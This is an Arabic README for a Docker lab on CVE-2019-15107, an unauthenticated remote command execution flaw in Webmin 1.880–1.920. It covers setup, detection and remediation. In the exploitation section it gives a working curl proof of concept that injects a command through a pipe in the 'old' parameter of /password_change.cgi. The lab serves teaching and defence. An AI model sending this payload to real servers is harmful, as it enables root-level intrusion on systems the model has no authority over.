CVE-2019-15107 – مختبر تنفيذ الأوامر عن بُعد (RCE) غير المُصادَق عليه في Webmin

1. نظرة عامة على المشروع

يوضح هذا المشروع الثغرة الأمنية CVE-2019-15107، وهي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) في Webmin، ضمن بيئة Docker معزولة ومُتحكَّم بها. يغطي المختبر دورة حياة الثغرة الأمنية الكاملة بدءًا من النشر والاستغلال وصولًا إلى الكشف والمعالجة.

2. المتطلبات الأساسية ومتطلبات البيئة

المتطلبات الأساسية-

1. Docker Desktop (مثبَّت وقيد التشغيل)
2. Docker Compose
3. Terminal / PowerShell مع دعم curl.exe

متطلبات البيئة - نظام التشغيل: Windows / Linux / mac

1. نظام التشغيل (بيئة المضيف المحلي)

2. توفر المنفذ: يجب أن يكون المنفذ 10000 متاحًا على الجهاز المضيف.

3. التطبيق المُصاب والإصدار

1. التطبيق: Webmin
2. الإصدار المُصاب: 1.910 (الإصدارات المتأثرة: 1.880 إلى 1.920)
3. الإصدار المُصحَّح/المُرقَّع: 1.930 وما فوق
4. نوع الثغرة الأمنية: التحسين غير الصحيح للعناصر الخاصة المستخدمة في أمر نظام التشغيل (CWE-78)
5. درجة CVSS: 9.8 (حرجة)

4. خطوات التثبيت والإعداد

1. استنسخ أو نزّل مستودع هذا المشروع إلى جهازك المحلي.

2. افتح الطرفية وانتقل إلى دليل المشروع الذي يحتوي على docker-compose.yml.

3. تأكد من أن Docker Desktop نشط على نظامك.

5. كيفية بدء وإيقاف المختبر

كيفية بدء المختبر-

نفّذ الأمر التالي من الدليل الجذر للمشروع لسحب وتشغيل الحاوية المُصابة في الوضع المنفصل: docker-compose up -d

يمكنك التحقق من حالة الحاوية بتنفيذ: docker compose ps

ادخل إلى واجهة التطبيق في متصفح الويب على: https://localhost:10000 (اقبل تحذير شهادة SSL المحلية).

كيفية إيقاف المختبر-

لإيقاف وإزالة بيئة الحاوية قيد التشغيل، نفّذ: docker-compose down

6. كيفية استغلال الثغرة الأمنية

توجد الثغرة الأمنية في نقطة نهاية تغيير كلمة المرور غير المُصادَق عليها (/password_change.cgi)، حيث تُمرَّر معاملات الإدخال مباشرةً إلى صدفة النظام دون تنقية مناسبة.

نفّذ الأمر التالي في الطرفية (PowerShell/Bash) لتنفيذ أمر تشخيصي (id) كإثبات للمفهوم:

curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"

7. النتائج المتوقعة

الاستغلال الناجح: يعالج الخادم حرف الأنبوب المُحقَن (|)، مما يؤدي إلى تنفيذ أمر غير مُصادَق عليه بصلاحيات الجذر (root). ستُخرج الطرفية دليل استجابة HTML إلى جانب ملاحظات صدفة الحاوية (uid=0(root))، مما يؤكد نجاح تنفيذ الأوامر عن بُعد.

8. كيفية تشغيل آلية الكشف - يمكن إجراء الكشف عن هذه الثغرة الأمنية من خلال:

1. تحديد الإصدار: فحص إصدار نسخة Webmin قيد التشغيل للتحقق مما إذا كان يقع ضمن النطاق المُصاب (1.880 إلى 1.920).

2. مراقبة الشبكة / السجلات: فحص سجلات الوصول لخادم الويب أو سجلات WAF بحثًا عن طلبات HTTP POST الواردة الموجهة إلى /password_change.cgi التي تحتوي على أحرف تحكم صدفية مشبوهة (مثل | أو ;) داخل قيم المعاملات.

9. المعالجة

للتخفيف من CVE-2019-15107 وحلها:

1. الترقية: قم بترقية Webmin إلى الإصدار 1.930 أو أعلى، والذي ينقّي المدخلات المُمرَّرة إلى الوحدات الأساسية بشكل صحيح.

2. التحكم في الوصول: قيّد الوصول الشبكي إلى المنفذ 10000 باستخدام جدران الحماية أو أنفاق VPN لمنع التعرض المباشر للشبكات غير الموثوقة.

10. ملاحظات استكشاف الأخطاء وإصلاحها

1. خدمة Docker Daemon لا تعمل: إذا واجهت أخطاء في الاتصال، فتأكد من أن Docker Desktop قد بدأ بالكامل وتحقق باستخدام docker version.

2. تعارض المنفذ (10000 قيد الاستخدام بالفعل): تأكد من عدم وجود تطبيق أو خدمة محلية أخرى تشغل المنفذ 10000.

3. خطأ في صياغة curl في PowerShell: استخدم curl.exe بدلًا من curl القياسي في Windows PowerShell لتجنب مشكلات تعيين المعاملات مع الاسم المستعار Invoke-WebRequest المدمج في PowerShell.